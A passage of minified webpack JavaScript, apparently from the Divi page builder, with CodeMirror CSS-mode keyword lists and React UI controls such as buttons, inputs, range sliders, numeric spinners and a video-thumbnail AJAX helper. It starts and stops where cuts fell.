t","ethiopic-halehame-aa-er","ethiopic-halehame-aa-et","ethiopic-halehame-am-et","ethiopic-halehame-gez","ethiopic-halehame-om-et","ethiopic-halehame-sid-et","ethiopic-halehame-so-et","ethiopic-halehame-ti-er","ethiopic-halehame-ti-et","ethiopic-halehame-tig","ethiopic-numeric","ew-resize","exclusion","expanded","extends","extra-condensed","extra-expanded","fantasy","fast","fill","fill-box","fixed","flat","flex","flex-end","flex-start","footnotes","forwards","from","geometricPrecision","georgian","graytext","grid","groove","gujarati","gurmukhi","hand","hangul","hangul-consonant","hard-light","hebrew","help","hidden","hide","higher","highlight","highlighttext","hiragana","hiragana-iroha","horizontal","hsl","hsla","hue","icon","ignore","inactiveborder","inactivecaption","inactivecaptiontext","infinite","infobackground","infotext","inherit","initial","inline","inline-axis","inline-block","inline-flex","inline-grid","inline-table","inset","inside","intrinsic","invert","italic","japanese-formal","japanese-informal","justify","kannada","katakana","katakana-iroha","keep-all","khmer","korean-hangul-formal","korean-hanja-formal","korean-hanja-informal","landscape","lao","large","larger","left","level","lighter","lighten","line-through","linear","linear-gradient","lines","list-item","listbox","listitem","local","logical","loud","lower","lower-alpha","lower-armenian","lower-greek","lower-hexadecimal","lower-latin","lower-norwegian","lower-roman","lowercase","ltr","luminosity","malayalam","manipulation","match","matrix","matrix3d","media-controls-background","media-current-time-display","media-fullscreen-button","media-mute-button","media-play-button","media-return-to-realtime-button","media-rewind-button","media-seek-back-button","media-seek-forward-button","media-slider","media-sliderthumb","media-time-remaining-display","media-volume-slider","media-volume-slider-container","media-volume-sliderthumb","medium","menu","menulist","menulist-button","menulist-text","menulist-textfield","menutext","message-box","middle","min-intrinsic","mix","mongolian","monospace","move","multiple","multiple_mask_images","multiply","myanmar","n-resize","narrower","ne-resize","nesw-resize","no-close-quote","no-drop","no-open-quote","no-repeat","none","normal","not-allowed","nowrap","ns-resize","numbers","numeric","nw-resize","nwse-resize","oblique","octal","opacity","open-quote","optimizeLegibility","optimizeSpeed","oriya","oromo","outset","outside","outside-shape","overlay","overline","padding","padding-box","painted","page","paused","persian","perspective","pinch-zoom","plus-darker","plus-lighter","pointer","polygon","portrait","pre","pre-line","pre-wrap","preserve-3d","progress","push-button","radial-gradient","radio","read-only","read-write","read-write-plaintext-only","rectangle","region","relative","repeat","repeating-linear-gradient","repeating-radial-gradient","repeat-x","repeat-y","reset","reverse","rgb","rgba","ridge","right","rotate","rotate3d","rotateX","rotateY","rotateZ","round","row","row-resize","row-reverse","rtl","run-in","running","s-resize","sans-serif","saturation","scale","scale3d","scaleX","scaleY","scaleZ","screen","scroll","scrollbar","scroll-position","se-resize","searchfield","searchfield-cancel-button","searchfield-decoration","searchfield-results-button","searchfield-results-decoration","self-start","self-end","semi-condensed","semi-expanded","separate","serif","show","sidama","simp-chinese-formal","simp-chinese-informal","single","skew","skewX","skewY","skip-white-space","slide","slider-horizontal","slider-vertical","sliderthumb-horizontal","sliderthumb-vertical","slow","small","small-caps","small-caption","smaller","soft-light","solid","somali","source-atop","source-in","source-out","source-over","space","space-around","space-between","space-evenly","spell-out","square","square-button","start","static","status-bar","stretch","stroke","stroke-box","sub","subpixel-antialiased","svg_masks","super","sw-resize","symbolic","symbols","system-ui","table","table-caption","table-cell","table-column","table-column-group","table-footer-group","table-header-group","table-row","table-row-group","tamil","telugu","text","text-bottom","text-top","textarea","textfield","thai","thick","thin","threeddarkshadow","threedface","threedhighlight","threedlightshadow","threedshadow","tibetan","tigre","tigrinya-er","tigrinya-er-abegede","tigrinya-et","tigrinya-et-abegede","to","top","trad-chinese-formal","trad-chinese-informal","transform","translate","translate3d","translateX","translateY","translateZ","transparent","ultra-condensed","ultra-expanded","underline","unidirectional-pan","unset","up","upper-alpha","upper-armenian","upper-greek","upper-hexadecimal","upper-latin","upper-norwegian","upper-roman","uppercase","urdu","url","var","vertical","vertical-text","view-box","visible","visibleFill","visiblePainted","visibleStroke","visual","w-resize","wait","wave","wider","window","windowframe","windowtext","words","wrap","wrap-reverse","x-large","x-small","xor","xx-large","xx-small"],y=t(b),_=n.concat(r).concat(a).concat(l).concat(c).concat(p).concat(g).concat(b);function k(e,t){for(var n,o=!1;null!=(n=e.next());){if(o&&"/"==n){t.tokenize=null;break}o="*"==n}return["comment","comment"]}e.registerHelper("hintWords","css",_),e.defineMIME("text/css",{documentTypes:o,mediaTypes:i,mediaFeatures:s,mediaValueKeywords:u,propertyKeywords:d,nonStandardPropertyKeywords:f,fontProperties:h,counterDescriptors:m,colorKeywords:v,valueKeywords:y,tokenHooks:{"/":function(e,t){return!!e.eat("*")&&(t.tokenize=k,k(e,t))}},name:"css"}),e.defineMIME("text/x-scss",{mediaTypes:i,mediaFeatures:s,mediaValueKeywords:u,propertyKeywords:d,nonStandardPropertyKeywords:f,colorKeywords:v,valueKeywords:y,fontProperties:h,allowNested:!0,lineComment:"//",tokenHooks:{"/":function(e,t){return e.eat("/")?(e.skipToEnd(),["comment","comment"]):e.eat("*")?(t.tokenize=k,k(e,t)):["operator","operator"]},":":function(e){return!!e.match(/\s*\{/,!1)&&[null,null]},$:function(e){return e.match(/^[\w-]+/),e.match(/^\s*:/,!1)?["variable-2","variable-definition"]:["variable-2","variable"]},"#":function(e){return!!e.eat("{")&&[null,"interpolation"]}},name:"css",helperType:"scss"}),e.defineMIME("text/x-less",{mediaTypes:i,mediaFeatures:s,mediaValueKeywords:u,propertyKeywords:d,nonStandardPropertyKeywords:f,colorKeywords:v,valueKeywords:y,fontProperties:h,allowNested:!0,lineComment:"//",tokenHooks:{"/":function(e,t){return e.eat("/")?(e.skipToEnd(),["comment","comment"]):e.eat("*")?(t.tokenize=k,k(e,t)):["operator","operator"]},"@":function(e){return e.eat("{")?[null,"interpolation"]:!e.match(/^(charset|document|font-face|import|(-(moz|ms|o|webkit)-)?keyframes|media|namespace|page|supports)\b/i,!1)&&(e.eatWhile(/[\w\\\-]/),e.match(/^\s*:/,!1)?["variable-2","variable-definition"]:["variable-2","variable"])},"&":function(){return["atom","atom"]}},name:"css",helperType:"less"}),e.defineMIME("text/x-gss",{documentTypes:o,mediaTypes:i,mediaFeatures:s,propertyKeywords:d,nonStandardPropertyKeywords:f,fontProperties:h,counterDescriptors:m,colorKeywords:v,valueKeywords:y,supportsAtComponent:!0,tokenHooks:{"/":function(e,t){return!!e.eat("*")&&(t.tokenize=k,k(e,t))}},name:"css",helperType:"gss"})}(n(1276))},function(e,t,n){"use strict";var o=n(1),r=n.n(o),i=n(4),a=n.n(i),s=n(22),l=n.n(s),u=n(46),c=n.n(u),d=n(796),p=n.n(d),f=(n(1378),function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}());function h(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}var m=function(e){function t(){var e,n,o;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);for(var i=arguments.length,a=Array(i),s=0;s<i;s++)a[s]=arguments[s];return n=o=h(this,(e=t.__proto__||Object.getPrototypeOf(t)).call.apply(e,[this].concat(a))),o.defaultStyle={width:"200%",height:"200%",top:"-50%",left:"-50%"},o._onClick=function(e){e.preventDefault(),o.props.stopPropagation&&e.stopPropagation(),o.props._onClick(o)},o._renderRipple=function(){return r.a.createElement(p.a,{radius:150,duration:1200,background:!1,options:{background:!1},style:o.defaultStyle})},h(o,n)}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,o["PureComponent"]),f(t,[{key:"componentDidMount",value:function(){this.props.componentDidMount(this)}},{key:"componentDidUpdate",value:function(){this.props.componentDidUpdate(this)}},{key:"render",value:function(){var e=l()({"et-fb-button":!0,"et-fb-button--block":this.props.block,"et-fb-button--danger":this.props.danger,"et-fb-button--danger-alt":this.props.danger&&this.props.alt,"et-fb-button--elevate":this.props.elevate,"et-fb-button--globalitem":this.props.globalitem,"et-fb-button--info":this.props.info,"et-fb-button--info-alt":this.props.info&&this.props.alt,"et-fb-button--inverse":this.props.inverse,"et-fb-button--large":this.props.large,"et-fb-button--primary":this.props.primary,"et-fb-button--primary-alt":this.props.primary&&this.props.alt,"et-fb-button--round":this.props.round,"et-fb-button--small":this.props.small,"et-fb-button--success":this.props.success,"et-fb-button--active":this.props.activeButton,"et-fb-button--warning":this.props.warning,"et-fb-button--tooltip":this.props.isTooltipButton},this.props.className);return"button"===this.props.tagName?r.a.createElement("button",{type:this.props.type,"data-tip":this.props.tooltip,className:e,style:this.props.style,onClick:this._onClick,onMouseDown:this.props.onMouseDown,onMouseUp:this.props.onMouseUp,onMouseEnter:this.props.onMouseEnter,onMouseLeave:this.props.onMouseLeave,disabled:this.props.disabled},this.props.children,this.props.ink?this._renderRipple():null):r.a.createElement(this.props.tagName,{className:e,"data-tip":this.props.tooltip,style:this.props.style,onClick:this._onClick,onMouseDown:this.props.onMouseDown,onMouseUp:this.props.onMouseUp},this.props.children,this.props.ink?this._renderRipple():null)}}]),t}();m.defaultProps={type:"button",tagName:"button",block:!1,elevate:!1,ink:!0,inverse:!1,large:!1,primary:!1,success:!1,small:!1,disabled:!1,disableClick:!1,additionalAttrs:{},onMouseDown:c.a,onMouseUp:c.a,onMouseEnter:c.a,onMouseLeave:c.a,componentDidMount:c.a,componentDidUpdate:c.a,_onClick:c.a,stopPropagation:!1},m.propTypes={block:a.a.bool,children:a.a.node,tagName:a.a.string,elevate:a.a.bool,danger:a.a.bool,ink:a.a.bool,inverse:a.a.bool,large:a.a.bool,primary:a.a.bool,round:a.a.bool,success:a.a.bool,info:a.a.bool,alt:a.a.bool,warning:a.a.bool,small:a.a.bool,disabled:a.a.bool,disableClick:a.a.bool,additionalAttrs:a.a.object,type:a.a.string,onMouseDown:a.a.func,onMouseUp:a.a.func,_onClick:a.a.func,componentDidMount:a.a.func,componentDidUpdate:a.a.func,className:a.a.oneOfType([a.a.string,a.a.object]),style:a.a.object};var g=m,v=n(138),b=n(7),y=n.n(b),_=n(140),k=n.n(_),w=n(2),C=n.n(w),E=n(27),O=n.n(E),S=n(135),T=n.n(S),M=n(278),x=(n(1379),Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e}),P=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var j=function(e){function t(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var n=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));L.call(n);var o=O()(n.props.value),r=O()(n.props.default);return n.state={value:o===r?"":o},n}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,o["PureComponent"]),P(t,[{key:"componentDidUpdate",value:function(e){var t=this.props.value;e.value===t||this.userUpdate||this.setState({value:t}),this.userUpdate=!1}},{key:"getDefaultValue",value:function(){return O()(this.props.default)}},{key:"_emitChange",value:function(){this.userUpdate=!0,this.props._onChange(this.props.name,this.state.value)}},{key:"render",value:function(){var e=C()(this.props,"additional_attrs",{}),t={"et-core-control-input":!0};this.props.className&&(t[this.props.className]=!0),this.props.readonly&&(e.readOnly=!0);var n=this.props,o=n.id,i=n.type;return o||(o="et-fb-"+this.props.name),i||(i="text"),r.a.createElement("input",x({className:l()(t),type:i,value:this.state.value,name:this.props.name,id:o,onChange:c.a,onInput:this._onInput,onBlur:this._onBlur,placeholder:this.getDefaultValue()},e))}}]),t}();j.propTypes={name:a.a.string.isRequired};var L=function(){var e=this;this.emitChange=k()(this._emitChange,0,{leading:!1}),this.userUpdate=!1,this._onInput=function(t){var n=t.target.value;e.setState({value:n}),e.emitChange.cancel(),e.emitChange()},this._onBlur=function(t){var n=M.b.decodeHtmlEntities(t.target.value);!y()(e.props.valueMin)&&T()(n)<e.props.valueMin&&(n=e.props.valueMin),!y()(e.props.valueMax)&&T()(n)>e.props.valueMax&&(n=e.props.valueMax),e.props._onChange(e.props.name,n),e.setState({value:n})}},N=j,D=n(1281),A=(n(1288),n(1289),n(1313)),F=n(1280),I=n(52),R=n.n(I),B=(n(1382),function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}());var W=function(e){function t(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var n=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));V.call(n);var o=C()(n,"props.range_settings",{min:0,max:100,step:1}),r=O()(n.props.value);return n.state={rangeMin:o.min,rangeMax:o.max,rangeStep:o.step,value:n.emptyIfDefault(r)},n}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,o["PureComponent"]),B(t,[{key:"componentDidMount",value:function(){var e=this.props.value;this.deferredUpdate=R()(this.updateOptionAndState,700),parseFloat(this.state.rangeStep)>.1&&parseFloat(e)%1>0&&this.setState({rangeStep:"0.1"}),this.checkRangeBoundaries(this.state.value)}},{key:"componentDidUpdate",value:function(e){var t=this.emptyIfDefault(this.props.value);e.value===t||this.userUpdate||this.setState({value:t}),this.userUpdate=!1}},{key:"componentWillUnmount",value:function(){this.deferredUpdate.cancel()}},{key:"getDefaultValue",value:function(){return O()(this.props.default)}},{key:"emptyIfDefault",value:function(e){return e===this.getDefaultValue()?"":e}},{key:"checkRangeBoundaries",value:function(e){if(O()(e)){var t=parseFloat(e);t>this.state.rangeMax&&this.setState({rangeMax:t}),t<this.state.rangeMin&&this.setState({rangeMin:t}),parseFloat(this.state.rangeStep)>.1&&t%1>0&&this.setState({rangeStep:"0.1"})}}},{key:"_renderInput",value:function(){var e=this.props.id||"et-fb-"+this.props.name,t=this.props.name,n=this.emptyIfDefault(this.state.value),o=this.getDefaultValue(),i=""===n?o:n;return r.a.createElement("div",{className:"et-fb-settings-option-inputs-wrap"},r.a.createElement("input",{id:e,name:t,type:"range",min:this.state.rangeMin,max:this.state.rangeMax,step:this.state.rangeStep,className:"et-fb-range",value:parseFloat(i),"data-shortcuts-allowed":!0,onChange:this._updateFromRange}),r.a.createElement("div",{className:"et-fb-range-number et-fb-settings-option-input"},r.a.createElement("input",{type:"number",value:n,placeholder:o,onChange:this._onChange})))}},{key:"render",value:function(){var e=this.getDefaultValue(),t=this.props.value,n="";return t&&t!==e&&(n=r.a.createElement("button",{className:"et-fb-settings-option-button--reset",onClick:this.reset})),r.a.createElement("div",{className:l()({"et-fb-settings-option-inner":!0,"et-fb-settings-option-inner-range":!0})},this._renderInput(),n)}}]),t}();W.defaultProps={default_unit:""},W.propTypes={name:a.a.string.isRequired,default_unit:a.a.string,precision:a.a.number};var V=function(){var e=this;this.isChangingRange=!1,this.updateOptionAndState=function(t){t=y()(t)?e.state.value:t,e.userUpdate=!0,e.setState({value:e.emptyIfDefault(t)}),e.props._onChange(e.props.name,t)},this._updateFromRange=function(t){e.isChangingRange=!0,e.updateOptionAndState(C()(t,"target.value")),e.isChangingRange=!1},this._onChange=function(t){var n=C()(t,"target.value");e.updateOptionAndState(n),e.checkRangeBoundaries(n)}},H=W;n.d(t,"a",function(){return g}),n.d(t,"b",function(){return v.a}),n.d(t,"c",function(){return N}),n.d(t,"d",function(){return A.a});D.a,A.a,F.a,F.a},function(e,t,n){"use strict";var o=n(1),r=n.n(o),i=n(4),a=n.n(i),s=(n(1385),n(153)),l=n.n(s),u=n(861),c=n.n(u),d=n(323),p=n.n(d),f=n(923),h=n.n(f),m=n(1386),g=n.n(m),v=n(2),b=n.n(v),y=n(7),_=n.n(y),k=n(27),w=n.n(k),C=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e};var E=function(e){var t=e.pos,n=e.style,o=e.className,i=function(e,t){var n={};for(var o in e)t.indexOf(o)>=0||Object.prototype.hasOwnProperty.call(e,o)&&(n[o]=e[o]);return n}(e,["pos","style","className"]);return r.a.createElement("div",C({},i,{style:n,className:"et-fb-spinner-control__spinner "+w()(o)}),r.a.createElement("div",{className:"et-fb-spinner-control__spinner-item",style:{transform:"translateX("+t+"px)"}}))},O=n(732),S=(n(1387),n(46)),T=n.n(S),M=n(60),x=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var P=-5e3,j=function(e){function t(){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var e=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this));return e.state={spinner:P,isDragging:!1},e}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,o["Component"]),x(t,[{key:"UNSAFE_componentWillMount",value:function(){this.handleDrag=l()(parseInt,this.handleDrag.bind(this)),this.handleDragStart=this.handleDragStart.bind(this),this.handleDragEnd=this.handleDragEnd.bind(this),this.normalize=(new M.a)(1.8)}},{key:"handleDrag",value:function(e,t){this.props.onChange(e,t),this.setState({spinner:this.normalize(e)+this.state.spinner})}},{key:"handleDragStart",value:function(){this.setState({isDragging:!0})}},{key:"handleDragEnd",value:function(){this.setState({isDragging:!1,spinner:P})}},{key:"render",value:function(){var e=this.state.isDragging?"dragging":"";return r.a.createElement(O.a,{className:"et-fb-settings-option--spinner-control "+e,onDragX:this.handleDrag,onDragStart:this.handleDragStart,onDragEnd:this.handleDragEnd},r.a.createElement(E,{pos:this.state.spinner}))}}]),t}();j.propTypes={onChange:a.a.func.isRequired},j.defaultProps={onChange:T.a};var L=j,N=n(178),D=n(64),A=n(985),F=n(836),I=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var R=function(e){function t(){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var e=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this));return e.state={active:!1},e}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,o["Component"]),I(t,[{key:"UNSAFE_componentWillMount",value:function(){var e=this;this.sanitize=this.sanitize.bind(this),this.onChange=this.onChange.bind(this),this.onIncrease=this.onIncrease.bind(this),this.onDecrease=this.onDecrease.bind(this),this.handleSpinnerChange=this.handleSpinnerChange.bind(this),this.makeActive=this.makeActive.bind(this),this.makeInactive=this.makeInactive.bind(this),this.sanitizeIncrease=l()(this.sanitize,function(t){return t+e.getStep()*(Object(N.g)()?10:1)}),this.sanitizeDecrease=l()(this.sanitize,function(t){return t-e.getStep()*(Object(N.g)()?10:1)}),this.getNumericValue=l()(parseFloat,this.sanitize,this.getValue)}},{key:"normalize",value:function(e){return(this.normalizer||(this.normalizer=(new M.a)(this.getSpeed())))(e)*(this.getStep()>1?1:this.getStep())}},{key:"onChange",value:function(e){this.props.readonly||(this.setUpdateSource(1),this.props.onChange(Object(F.a)(this.getDefaultUnit(),e,this.sanitize,this.props.allowedUnits)))}},{key:"onIncrease",value:function(){this.props.readonly||(this.setUpdateSource(2),this.props.onChange(Object(F.a)(this.getDefaultUnit(),this.getValue(),this.sanitizeIncrease,this.props.allowedUnits)))}},{key:"onDecrease",value:function(){this.props.readonly||(this.setUpdateSource(2),this.props.onChange(Object(F.a)(this.getDefaultUnit(),this.getValue(),this.sanitizeDecrease,this.props.allowedUnits)))}},{key:"handleSpinnerChange",value:function(e,t){var n=t.shiftKey;this.setUpdateSource(3);var o=this.normalize(Object(M.i)(e,0))*(n?10:1);0!==o&&this.props.onChange(Object(F.a)(this.getDefaultUnit(),this.getValue(),l()(this.sanitize,g()(o)),this.props.allowedUnits))}},{key:"renderLabel",value:function(){return!c()(this.props.label)&&r.a.createElement("span",{className:"et-fb-settings-option-input-label"},this.props.label)}},{key:"getValue",value:function(){var e=this.props.value||this.props.defaultValue||0;return _()(Object(M.h)(e))?0:e}},{key:"getSpeed",value:function(){return Math.abs(this.props.speed)*(this.getStep()>=1?1:.1)}},{key:"getStep",value:function(){return this._step||this.props.step}},{key:"getDefaultUnit",value:function(){return Object(D.c)(this.props.defaultValue,this.props.defaultUnit)}},{key:"makeActive",value:function(){this.setState({active:!0})}},{key:"makeInactive",value:function(){this.setState({active:!1})}},{key:"sanitize",value:function(e){return Object(M.l)(this.props.min,this.props.max,Object(M.n)(Object(M.e)(this.props.precision),e))}},{key:"setUpdateSource",value:function(e){this._updateSource=[e,p()(this._updateSource||[void 0])];var t=this.getStep(),n=this.props.step,o=Object(M.e)(this.getNumericValue()),r=o>Object(M.e)(n)?Object(M.o)(o,n):this.isSameSource()?t:n;this._step=r}},{key:"isSameSource",value:function(){var e=this._updateSource||[void 0,void 0];return p()(e)===h()(e)}},{key:"render",value:function(){var e=this.state.active?"active":"";return r.a.createElement("div",{className:"et-fb-settings-option--numeric-spinner-control "+e},r.a.createElement(A.a,{id:this.props.id,onChange:this.onChange,onIncrease:this.onIncrease,onDecrease:this.onDecrease,value:this.props.value,step:this.getStep(),onFocus:this.makeActive,onBlur:this.makeInactive,placeholder:this.props.defaultValue,readonly:b()(this.props,"readonly",!1)}),r.a.createElement("div",{className:"numeric-spinner-control-label-wrapper"},!this.props.readonly&&r.a.createElement(L,{onChange:this.handleSpinnerChange}),this.renderLabel()))}}]),t}();R.propTypes={onChange:a.a.func.isRequired,step:a.a.number,precision:a.a.number,min:a.a.number,max:a.a.number,value:a.a.string,placeholder:a.a.string,defaultValue:a.a.string,defaultUnit:a.a.string,speed:a.a.number},R.defaultProps={step:1,min:-9999999999,max:9999999999,defaultValue:"",speed:.5,precision:.01};t.a=R},function(e,t,n){"use strict";var o=n(71),r=n(285),i=n.n(r),a=n(76),s=n.n(a),l=n(326),u=n.n(l);function c(e){if(Array.isArray(e)){for(var t=0,n=Array(e.length);t<e.length;t++)n[t]=e[t];return n}return Array.from(e)}var d=function(e,t){return Array.isArray(t)&&0!==t.length?1===t.length?[t]:i()(t).reduce(function(t,n){var o=u()(t),r=s()(t),i=s()(r);return e(i,n)?[].concat(c(o),[[].concat(c(r),[n])]):[].concat(c(o),[r,[n]])},[[t[0]]]):t},p=n(60),f=n(1278),h=n(1325);n.d(t,"f",function(){return m}),n.d(t,"e",function(){return g}),n.d(t,"d",function(){return v}),n.d(t,"b",function(){return b}),n.d(t,"c",function(){return y}),n.d(t,"a",function(){return _});var m=function(e){return Object(o.getStartMiddle)(e)===Object(o.getEndMiddle)(e)},g=function(e){return function(e){return Object(o.getStartLimit)(e)===Object(o.getEndMiddle)(e)}(e)?f.b:""},v=function(e){return function(e){return Object(o.getEndLimit)(e)===Object(o.getStartMiddle)(e)}(e)?f.a:""},b=function(e,t){var n=Math.round(Object(p.c)(1,t)),r=function(e){return n*e},i=Object(o.getStartLimit)(e),a=Object(o.getEndLimit)(e),s=m(e)?[i,Object(o.getStartMiddle)(e),a]:[i,Object(o.getStartMiddle)(e),Object(o.getEndMiddle)(e),a];return Object(o.getStartLimit)(Object(o.getDefaultValue)())===i&&s.shift(),Object(o.getEndLimit)(Object(o.getDefaultValue)())===a&&s.pop(),d(function(e,t){return r(t)-r(e)<=h.a},s)},y=function(e,t){var n=Math.round(Object(p.c)(1,t)),r=function(e){return n*e},i=[Object(o.getStartLimit)(e),Object(p.b)([Object(o.getEndMiddle)(e),Object(o.getStartMiddle)(e)]),Object(o.getEndLimit)(e)];return d(function(e,t){return r(t)-r(e)<=56},i)},_=function(e,t,n){if(""===n)return"";var o=e(n);return e(t)===o?"":o}},function(e,t){e.exports=function(e){if(!e.webpackPolyfill){var t=Object.create(e);t.children||(t.children=[]),Object.defineProperty(t,"loaded",{enumerable:!0,get:function(){return t.l}}),Object.defineProperty(t,"id",{enumerable:!0,get:function(){return t.i}}),Object.defineProperty(t,"exports",{enumerable:!0}),t.webpackPolyfill=1}return t}},function(e,t,n){"use strict";(function(e){var o=n(1),r=n.n(o),i=n(4),a=n.n(i),s=n(22),l=n.n(s),u=n(2),c=n.n(u),d=n(51),p=n(305),f=n(0),h=(n(1333),function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}());var m=function(t){function n(){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,n);var e=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(n.__proto__||Object.getPrototypeOf(n)).call(this));return e.state={loading:!1},e._onClickChangeApiKey=e._onClickChangeApiKey.bind(e),e._onClickGenerateImageUrlFromVideo=e._onClickGenerateImageUrlFromVideo.bind(e),e}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(n,o["Component"]),h(n,[{key:"_onClickChangeApiKey",value:function(){f.default.topWindow().open(ETBuilderBackend.urls.themeOptionsUrl,"_blank").focus()}},{key:"_onClickGenerateImageUrlFromVideo",value:function(){var t=this,n=t.props.module,o=c()(t,"props.module.props.attrs.__oembed_thumbnail");f.default.hasValue(o)?t.props._onChange(t.props.name,o):(this.setState({loading:!0}),e.ajax({type:"POST",url:ETBuilderBackend.ajaxUrl,data:{action:"et_pb_video_get_oembed_thumbnail",et_admin_load_nonce:ETBuilderBackend.nonces.et_admin_load,et_video_url:n.props.attrs[t.props.attrs.video_source]},success:function(e){t.props._onChange(t.props.name,e),t.setState({loading:!1})}}))}},{key:"render",value:function(){var e="";switch(this.props.type){case"change_google_api_key":e=r.a.createElement(d.a,{_onClick:this._onClickChangeApiKey,className:l()(["et-fb-settings-button--additional-button","et-fb-settings-button--change-api-key"]),inverse:!0},ETBuilderBackend.i18n.controls.additionalButton.changeApiKey);break;case"generate_image_url_from_video":e=r.a.createElement(d.a,{_onClick:this._onClickGenerateImageUrlFromVideo,className:l()(["et-fb-settings-button--additional-button","et-fb-settings-button--generate-image-url-from-video"]),inverse:!0},ETBuilderBackend.i18n.controls.additionalButton.generateImageUrlFromVideo)}return r.a.createElement(p.a,{useWrapper:!1,isLoading:this.state.loading},e)}}]),n}();m.propTypes={attrs:a.a.object,module:a.a.object,name:a.a.string,type:a.a.string,_onChange:a.a.func},t.a=m}).call(this,n(24))},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var o=n(1335);Object.defineProperty(t,"DragDropManager",{enumerable:!0,get:function(){return s(o).default}});var r=n(1348);Object.defineProperty(t,"DragSource",{enumerable:!0,get:function(){return s(r).default}});var i=n(1349);Object.defineProperty(t,"DropTarget",{enumerable:!0,get:function(){return s(i).default}});var a=n(1350);function s(e){return e&&e.__esModule?e:{default:e}}Object.defineProperty(t,"createTestBackend",{enumerable:!0,get:function(){return s(a).default}})},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var o=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e};t.default=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:i,t=arguments[1];switch(t.type){case 